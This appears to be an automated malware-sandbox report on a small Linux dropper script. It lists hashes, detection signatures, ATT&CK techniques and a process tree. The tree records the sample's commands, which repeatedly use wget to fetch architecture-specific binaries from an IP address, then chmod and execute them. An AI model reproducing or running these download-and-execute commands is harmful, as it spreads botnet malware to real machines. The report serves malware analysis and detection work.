97bd5b49e9490ac78d511fa1376bde5d73b72a66a03d9ea68f18b2ec6da99e7e

Analysis

max time kernel
5s
max time network
130s
platform
ubuntu-18.04_amd64
resource
ubuntu1804-amd64-20260513-en
resource tags

arch:amd64arch:i386image:ubuntu1804-amd64-20260513-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
submitted
30/07/2026, 09:47

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
97bd5b49e9490ac78d511fa1376bde5d73b72a66a03d9ea68f18b2ec6da99e7e
Size 528B
Sample260730-lsfessgl2v
SHA256 97bd5b49e9490ac78d511fa1376bde5d73b72a66a03d9ea68f18b2ec6da99e7e
MD5 4c472786d7e72433c038b79d7260c656
SHA1 5f8ceb8ea609fc5fac6165258a403a0dbdc759b8
SHA512 ff9bbd37fc2b821b913b904ac3f53cd62b3fe8d458db580992088491c3cd35817970f3fcd81ec91950760050d2247238e3d37f5128d50cc88e4a870a78f19ad4
TLSH
T16EF08BED949640323F0D583B71194C556642086F24B95BDD224E9D635E0CFA8274EB33
MD5 SHA1 SHA512 TLSH

Score

9^/10

defense_evasion discovery

Malware Config

Signatures

Detects suspicious XORed keyword - Mozilla/5.0 5 IoCs

resource	yara_rule
behavioral1/files/fstream-1.dat	SUSP_XORed_Mozilla
behavioral1/files/fstream-2.dat	SUSP_XORed_Mozilla
behavioral1/files/fstream-3.dat	SUSP_XORed_Mozilla
behavioral1/files/fstream-4.dat	SUSP_XORed_Mozilla
behavioral1/files/fstream-6.dat	SUSP_XORed_Mozilla

File and Directory Permissions Modification 1 TTPs 10 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
1545	chmod
1505	chmod
1510	chmod
1515	chmod
1520	chmod
1525	chmod
1500	chmod
1530	chmod
1535	chmod
1540	chmod

Executes dropped EXE 10 IoCs

ioc	pid	Process
/tmp/d	1501	97bd5b49e9490ac78d511fa1376bde5d73b72a66a03d9ea68f18b2ec6da99e7e
/tmp/d	1506	97bd5b49e9490ac78d511fa1376bde5d73b72a66a03d9ea68f18b2ec6da99e7e
/tmp/d	1511	97bd5b49e9490ac78d511fa1376bde5d73b72a66a03d9ea68f18b2ec6da99e7e
/tmp/d	1516	97bd5b49e9490ac78d511fa1376bde5d73b72a66a03d9ea68f18b2ec6da99e7e
/tmp/d	1521	97bd5b49e9490ac78d511fa1376bde5d73b72a66a03d9ea68f18b2ec6da99e7e
/tmp/d	1526	97bd5b49e9490ac78d511fa1376bde5d73b72a66a03d9ea68f18b2ec6da99e7e
/tmp/d	1531	97bd5b49e9490ac78d511fa1376bde5d73b72a66a03d9ea68f18b2ec6da99e7e
/tmp/d	1536	97bd5b49e9490ac78d511fa1376bde5d73b72a66a03d9ea68f18b2ec6da99e7e
/tmp/d	1541	97bd5b49e9490ac78d511fa1376bde5d73b72a66a03d9ea68f18b2ec6da99e7e
/tmp/d	1546	97bd5b49e9490ac78d511fa1376bde5d73b72a66a03d9ea68f18b2ec6da99e7e

System Network Configuration Discovery 1 TTPs 1 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
1492	wget

Writes file to tmp directory 10 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/d	wget
File opened for modification	/tmp/d	wget
File opened for modification	/tmp/d	wget
File opened for modification	/tmp/d	wget
File opened for modification	/tmp/d	wget
File opened for modification	/tmp/d	wget
File opened for modification	/tmp/d	wget
File opened for modification	/tmp/d	wget
File opened for modification	/tmp/d	wget
File opened for modification	/tmp/d	wget

/tmp/97bd5b49e9490ac78d511fa1376bde5d73b72a66a03d9ea68f18b2ec6da99e7e
/tmp/97bd5b49e9490ac78d511fa1376bde5d73b72a66a03d9ea68f18b2ec6da99e7e
1⤵
- Executes dropped EXE
PID:1490
- /bin/rm
  rm -rf d
  2⤵
  PID:1491
- /usr/bin/wget
  wget -q http://95.155.151.113/d/xd.mips -O d
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1492
- /bin/chmod
  chmod 777 d
  2⤵
  - File and Directory Permissions Modification
  PID:1500
- /tmp/d
  ./d dvrr
  2⤵
  PID:1501
- /bin/rm
  rm -rf d
  2⤵
  PID:1503
- /usr/bin/wget
  wget -q http://95.155.151.113/d/xd.mpsl -O d
  2⤵
  - Writes file to tmp directory
  PID:1504
- /bin/chmod
  chmod 777 d
  2⤵
  - File and Directory Permissions Modification
  PID:1505
- /tmp/d
  ./d dvrr
  2⤵
  PID:1506
- /bin/rm
  rm -rf d
  2⤵
  PID:1508
- /usr/bin/wget
  wget -q http://95.155.151.113/d/xd.arm -O d
  2⤵
  - Writes file to tmp directory
  PID:1509
- /bin/chmod
  chmod 777 d
  2⤵
  - File and Directory Permissions Modification
  PID:1510
- /tmp/d
  ./d dvrr
  2⤵
  PID:1511
- /bin/rm
  rm -rf d
  2⤵
  PID:1513
- /usr/bin/wget
  wget -q http://95.155.151.113/d/xd.arm5 -O d
  2⤵
  - Writes file to tmp directory
  PID:1514
- /bin/chmod
  chmod 777 d
  2⤵
  - File and Directory Permissions Modification
  PID:1515
- /tmp/d
  ./d dvrr
  2⤵
  PID:1516
- /bin/rm
  rm -rf d
  2⤵
  PID:1518
- /usr/bin/wget
  wget -q http://95.155.151.113/d/xd.arm6 -O d
  2⤵
  - Writes file to tmp directory
  PID:1519
- /bin/chmod
  chmod 777 d
  2⤵
  - File and Directory Permissions Modification
  PID:1520
- /tmp/d
  ./d dvrr
  2⤵
  PID:1521
- /bin/rm
  rm -rf d
  2⤵
  PID:1523
- /usr/bin/wget
  wget -q http://95.155.151.113/d/xd.arm7 -O d
  2⤵
  - Writes file to tmp directory
  PID:1524
- /bin/chmod
  chmod 777 d
  2⤵
  - File and Directory Permissions Modification
  PID:1525
- /tmp/d
  ./d dvrr
  2⤵
  PID:1526
- /bin/rm
  rm -rf d
  2⤵
  PID:1528
- /usr/bin/wget
  wget -q http://95.155.151.113/d/xd.ppc -O d
  2⤵
  - Writes file to tmp directory
  PID:1529
- /bin/chmod
  chmod 777 d
  2⤵
  - File and Directory Permissions Modification
  PID:1530
- /tmp/d
  ./d dvrr
  2⤵
  PID:1531
- /bin/rm
  rm -rf d
  2⤵
  PID:1533
- /usr/bin/wget
  wget -q http://95.155.151.113/d/xd.spc -O d
  2⤵
  - Writes file to tmp directory
  PID:1534
- /bin/chmod
  chmod 777 d
  2⤵
  - File and Directory Permissions Modification
  PID:1535
- /tmp/d
  ./d dvrr
  2⤵
  PID:1536
- /bin/rm
  rm -rf d
  2⤵
  PID:1538
- /usr/bin/wget
  wget -q http://95.155.151.113/d/xd.m68k -O d
  2⤵
  - Writes file to tmp directory
  PID:1539
- /bin/chmod
  chmod 777 d
  2⤵
  - File and Directory Permissions Modification
  PID:1540
- /tmp/d
  ./d dvrr
  2⤵
  PID:1541
- /bin/rm
  rm -rf d
  2⤵
  PID:1543
- /usr/bin/wget
  wget -q http://95.155.151.113/d/xd.sh4 -O d
  2⤵
  - Writes file to tmp directory
  PID:1544
- /bin/chmod
  chmod 777 d
  2⤵
  - File and Directory Permissions Modification
  PID:1545
- /tmp/d
  ./d dvrr
  2⤵
  PID:1546
- /bin/rm
  rm -rf d
  2⤵
  PID:1548

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

Path /tmp/d
Size 663KB
SHA256 44803559c71a805c0400f3647ff6384dcdfe7a79254910b7fe514ee1e258c12d
MD5 300f4772fcc68e8fd6b04b79103f1312
SHA1 a34e722b0a1d6c6c5908eaf7f3b4201860ba7a41
SHA512 b4c98356a249f57fd1792ababe53dcdb149e04186428fca0882721a72ba2bd389c406e2dd8b1b2bc1bc2bb3e2837b8e69b4f8af935e52b3d16b4cec91d2d30f2
SSDEEP 12288:+NWlDM4bd+uuCBozDHoeca/QDTgKekrAGe/978p9pkkB8goG:hM4bIuuCyDoQ/QD9ek5e/ykkT
TLSH
T1C2E47D93B7228F94E361D27105F38B555AA921A307F350C2A37DC6207A50A6D6C2FFF9
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Path /tmp/d
Size 663KB
SHA256 537079272b0ccda68ba39a657e83549c91ba45d9eecefd29db322a200d08f354
MD5 19b70058bc7440ba1e42725c3ade871e
SHA1 e66e448099f7662c836b17c7be7f5f29a680df6e
SHA512 cb749388652d7da07c6a3db1c3f172c6f43f3306b6a55c9ba7613f9337a38ddd1f8c64a87f9826562c0e619c312a796c0f802bbc66f3f00ed2364934f98dc323
SSDEEP 12288:MqrfCJGsLrfDEB+U6c6hJpqnRcpqS/cSzVd9sJ7hlOiOh0y+yrh2Zn/4o2mM2ItM:Ly2YgLxKx19T1D/fmh4RCJsfedCnd
TLSH
T1A6E46B02EF441FEBC4AFCD30853E874B15DD998712D1A7B9A1FC894CBA8D65A4BD3488
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Path /tmp/d
Size 562KB
SHA256 c18b493bdf0403f015b58745c3ef3b18a7253437fcb567a1e5f63a2887eeaad1
MD5 d3141c1b7a72029581fb390c542f722f
SHA1 369fd6ef014a551a1757d91ae81139f63f690a0c
SHA512 ea37fe933525eb0b7a53feeb25807aa01f97be40b0dee60bafe642d92ef7884efaec256987a7dc110c62427184183acef2224120de100c59f593b23104958699
SSDEEP 12288:OYdSUhlhAs+S0XfB+LtviNb0kd0iy8pLb/S:OTUhlhdGB+BwL9
TLSH
T103C44955F8809F61C6D539B6F64D42AC730747B9C3EB72069A244B343BDB8AB0B3A705
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Path /tmp/d
Size 77KB
SHA256 bab2dee1fc862cd6915bd9d70222c6be76103111d78c67dc498842a6c681ffed
MD5 70af45cf0ca2bb6d98fb44febb71cef0
SHA1 dd30eadf337e35d820f2f78a03e41b6ad595d4cc
SHA512 a190a31956bc2ed8ba10bdf89b6c9954a2f3871cbf88a206ce25c1ce5b1efbf6730130418be948f02843655039d8180ee357bd47be05186a0da862e9ab9fe9de
SSDEEP 1536:ps1lKh2kqFeCDG0cF5NE4BpQnHmvqki9sefIF7ogDX:m1AhXMvU5G4BpQnHmJi6efoV
TLSH
T1B8732B82F8D1FE53C6D82A76BA1E119D332253F8D2DA3303CE144A1577CD5994A3AB4E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Path /tmp/d
Size 1.0MB
SHA256 0650aafe026bdbfbfcbc09cd9f139e9a07729dff6c5b707bf1db605607a7326f
MD5 991d9ef150ad69263a2760e94fc30719
SHA1 8cf80e2a915ec18f24044510428f6f003b23e938
SHA512 6ccdb79f8e31454d8b0f03fd9d3c166779c15d883504f84f5130204420db47440aba45be354e520ce01ecfc2ac579a6a0ece079ace3eef343a266a48d4b7c158
SSDEEP 12288:MceMXzGweBSmcs++9YQrzctpzOg9bGjYLdWx8E8pPKorKP+:qwzB7+9XzcPzhG8JK
TLSH
T1DC25BF62F7B06ED5C4120A700CE6D3344354B79803D36692FBEAC578384767ABE4DBA6
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads